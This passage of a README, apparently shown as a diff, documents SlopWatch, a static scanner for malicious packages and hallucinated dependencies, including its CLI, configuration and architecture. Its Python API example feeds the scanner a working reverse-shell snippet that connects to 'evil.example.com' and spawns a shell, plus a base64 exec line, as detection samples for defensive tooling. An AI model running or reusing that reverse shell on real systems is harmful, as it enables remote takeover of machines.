```
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## π» CLI Quickstart
|
|
80
|
+
|
|
81
|
+
The `slopwatch` command-line interface provides fast, rich terminal feedback for auditing and inspecting packages.
|
|
82
|
+
|
|
83
|
+
### 0. Protect a Project in 1 Second (`slopwatch init`)
|
|
84
|
+
Automatically configure project security, install native git pre-commit hooks, and set up CI/CD:
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
slopwatch init
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
* Automatically detects workspace manifests (`requirements.txt`, `pyproject.toml`, `package.json`).
|
|
91
|
+
* Creates `.slopwatch.yaml` (customizable allowlist & alert policies).
|
|
92
|
+
* Installs native `.git/hooks/pre-commit` so AI hallucinations can never be committed.
|
|
93
|
+
* Installs `.github/workflows/slopwatch.yml` for pull request auditing.
|
|
94
|
+
* Runs an immediate baseline audit across all project dependencies.
|
|
95
|
+
|
|
96
|
+
### 1. Check Project Manifests for Hallucinations
|
|
97
|
+
Run `slopwatch check` to automatically discover and audit **all** dependency manifests in your project (Python & npm):
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
slopwatch check # auto-discovers and audits all project manifests
|
|
101
|
+
slopwatch check requirements.txt # or specify an individual file directly
|
|
102
|
+
slopwatch check ./backend # or audit a specific subproject directory
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
* **Supported Manifests**: `requirements*.txt`, `pyproject.toml`, `Pipfile`, `Pipfile.lock`, `poetry.lock`, `package.json`, `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`.
|
|
106
|
+
* **What It Catches**: Hallucinated package names (404s on public registry), brand typosquats, and unpinned direct VCS URLs.
|
|
107
|
+
|
|
108
|
+
### 2. Deep Static AST Inspection of an Upstream Package
|
|
109
|
+
Fetch and statically inspect any published PyPI or npm package without executing its code:
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
slopwatch inspect requests --ecosystem pypi
|
|
113
|
+
slopwatch inspect express --ecosystem npm
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### 3. Statically Scan Local Code or Directory
|
|
117
|
+
Run the AST analyzer and YARA rule engine across any local Python or JavaScript file/directory:
|
|
118
|
+
|
|
119
|
+
```bash
|
|
120
|
+
slopwatch scan ./src
|
|
121
|
+
slopwatch scan setup.py
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
### 4. Comprehensive Directory Audit
|
|
125
|
+
Audit an entire project directory, checking source files and manifests simultaneously:
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
slopwatch audit .
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### 5. Engine Diagnostics & Rule Status
|
|
132
|
+
View engine statistics, active YARA rule suites, and loaded parking signatures:
|
|
133
|
+
|
|
134
|
+
```bash
|
|
135
|
+
slopwatch info
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
### 6. CI/CD & Pre-Commit Integration
|
|
139
|
+
|
|
140
|
+
SlopWatch supports machine-readable output (`--json`) and Git pre-commit hooks for CI/CD pipelines:
|
|
141
|
+
|
|
142
|
+
```bash
|
|
143
|
+
# Emit structured JSON for CI security gates or dashboard ingestion
|
|
144
|
+
slopwatch check --json
|
|
145
|
+
slopwatch audit . --json
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
Add SlopWatch to your project's `.pre-commit-config.yaml`:
|
|
149
|
+
|
|
150
|
+
```yaml
|
|
151
|
+
repos:
|
|
152
|
+
- repo: https://github.com/royans/slopwatch
|
|
153
|
+
rev: v0.1.0
|
|
154
|
+
hooks:
|
|
155
|
+
- id: slopwatch-check
|
|
156
|
+
- id: slopwatch-audit
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## βοΈ Configuration & Whitelisting
|
|
162
|
+
|
|
163
|
+
SlopWatch is zero-config by default, but supports fine-grained tuning via `.slopwatch.yaml` or `pyproject.toml` (`[tool.slopwatch]`):
|
|
164
|
+
|
|
165
|
+
* **Whitelisting Private Packages (`allowlist`)**: Permit internal company SDKs, private mirrors, or vetted direct VCS URLs.
|
|
166
|
+
* **Alert & Failure Thresholds (`fail_on`)**: Control CI exit code behavior (`CRITICAL`, `HIGH` [default], `MEDIUM`, `ANY`).
|
|
167
|
+
* **Path Ignore Patterns (`ignore_paths`)**: Exclude test fixtures, mock data, or documentation.
|
|
168
|
+
|
|
169
|
+
π **Read the complete [SlopWatch Configuration Guide](docs/CONFIGURATION.md)** for syntax examples, rubric tables, and CI/CD recipes.
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## π Python API Usage
|
|
174
|
+
|
|
175
|
+
SlopWatch can also be integrated directly into your own security tools and CI/CD pipelines:
|
|
176
|
+
|
|
177
|
+
```python
|
|
178
|
+
from slopwatch import YaraPatternScanner, PythonASTAssessor
|
|
179
|
+
|
|
180
|
+
# 1. Scan source code with the YARA threat engine
|
|
181
|
+
scanner = YaraPatternScanner()
|
|
182
|
+
matches = scanner.scan_text('''
|
|
183
|
+
import socket, subprocess, os
|
|
184
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
185
|
+
s.connect(('evil.example.com', 4444))
|
|
186
|
+
os.dup2(s.fileno(), 0)
|
|
187
|
+
subprocess.call(['/bin/sh', '-i'])
|
|
188
|
+
''')
|
|
189
|
+
|
|
190
|
+
for match in matches:
|
|
191
|
+
print(f"Detected: {match['rule']}")
|
|
192
|
+
|
|
193
|
+
# 2. Deep static AST analysis
|
|
194
|
+
assessor = PythonASTAssessor()
|
|
195
|
+
result = assessor.analyze_source("import base64; exec(base64.b64decode('...'))")
|
|
196
|
+
print(f"Threat Score: {result.composite_threat_score}/100")
|
|
197
|
+
print(f"Verdict: {result.verdict}")
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
---
|
|
201
|
+
|
|
202
|
+
<a id="architecture"></a>
|
|
203
|
+
## ποΈ Architecture
|
|
204
|
+
|
|
205
|
+
```
|
|
206
|
+
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
207
|
+
β Target Input β
|
|
208
|
+
β (Upstream Package Tarball, Manifest, or Local Source) β
|
|
209
|
+
βββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββ
|
|
210
|
+
β
|
|
211
|
+
βΌ
|
|
212
|
+
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
213
|
+
β Deterministic Analysis Pipeline β
|
|
214
|
+
β β
|
|
215
|
+
β [1] Manifest & Metadata Sizing β
|
|
216
|
+
β - Non-comment LOC & Codebase Tiering β
|
|
217
|
+
β - Publisher Domain Proof vs Free Webmail Domain β
|
|
218
|
+
β β
|
|
219
|
+
β [2] Static AST Deconstruction (Zero Dynamic Execution) β
|
|
220
|
+
β - Python AST: setup.py / pyproject.toml hooks β
|
|
221
|
+
β - npm: package.json install hooks & lifecycle scriptsβ
|
|
222
|
+
β β
|
|
223
|
+
β [3] Pre-Compiled YARA Engine β
|
|
224
|
+
β - 9 Suites: Exfiltration, Shells, Persistence, etc. β
|
|
225
|
+
β β
|
|
226
|
+
β [4] Scoring & Classification Matrix β
|
|
227
|
+
β - Normalized 0-1000 Threat Score β
|
|
228
|
+
β - Verdicts: MALICIOUS | SUSPICIOUS | BENIGN β
|
|
229
|
+
βββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββ
|
|
230
|
+
β
|
|
231
|
+
βΌ
|
|
232
|
+
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
233
|
+
β Output: Structured JSON / Terminal CLI β
|
|
234
|
+
βββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββ
|
|
235
|
+
β
|
|
236
|
+
βΌ
|
|
237
|
+
(Live community audits indexed at https://flagthis.com)
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
---
|
|
241
|
+
|
|
242
|
+
## π What SlopWatch Is & What It Isnβt
|
|
243
|
+
|
|
244
|
+
We believe security tools should be radically honest about their boundaries rather than overcommitting on claims.
|
|
245
|
+
|
|
246
|
+
### β
What SlopWatch IS:
|
|
247
|
+
* **A fast, deterministic first line of defense**: Runs in milliseconds via Python AST, compiled YARA signatures, and Levenshtein distance trees.
|
|
248
|
+
* **A detector for lazy automated weaponization**: Catches install-time socket connects, reverse shells, child process spawns in `setup.py`, malicious `.pth` startup files, Discord webhook exfiltration, and npm `preinstall` stealer payloads.
|
|
249
|
+
* **An auditor for AI package hallucinations**: Checks whether packages suggested by Copilot, Cursor, or ChatGPT actually exist on PyPI/npm or are parked slopsquats waiting for a developer to run `pip install`.
|
|
250
|
+
* **Respectful of maintainers**: Community libraries with ordinary telemetry or standard system calls are evaluated as `BENIGN_COMMUNITY` or `UNVERIFIED_COMMUNITY`. The `MALICIOUS` verdict is strictly reserved for confirmed, active weaponization vectors.
|
|
251
|
+
|
|
252
|
+
### β What SlopWatch IS NOT:
|
|
253
|
+
* **Not an omniscient hypervisor sandbox**: It performs zero dynamic code execution. It will not execute code in a VM or kernel sandbox to observe runtime behavior.
|
|
254
|
+
* **Not a binary decompiler**: If an attacker embeds compiled machine code inside a native `.so`, `.dylib`, or `.node` file, SlopWatch flags the presence of unexpected native binaries (`BUNDLED_NATIVE_BINARY`), but it does not reverse-engineer the compiled C/Rust assembly.
|
|
255
|
+
* **Not a silver bullet**: Static analysis is inherently an adversarial cat-and-mouse game. High-entropy custom runtime encoders or multi-stage split downloaders can be designed to evade static regex. SlopWatch catches the bulk of automated supply chain attacks instantly without the latency, cost, or prompt-injection vulnerabilities of LLMs.
|
|
256
|
+
|
|
257
|
+
---
|
|
258
|
+
|
|
259
|
+
## π€ Contributing
|
|
260
|
+
|
|
261
|
+
Contributions are welcome! Please run our pre-submit gatekeeper before opening a pull request:
|
|
262
|
+
|
|
263
|
+
```bash
|
|
264
|
+
# Install git hooks
|
|
265
|
+
./scripts/install_hooks.sh
|
|
266
|
+
|
|
267
|
+
# Run pre-submit checks manually
|
|
268
|
+
python3 scripts/presubmit.py
|
|
269
|
+
|
|
270
|
+
# Run test suite
|
|
271
|
+
pytest tests/ -v
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
---
|
|
275
|
+
|
|
276
|
+
## π License
|
|
277
|
+
|
|
278
|
+
Licensed under the [Apache License, Version 2.0](LICENSE).
|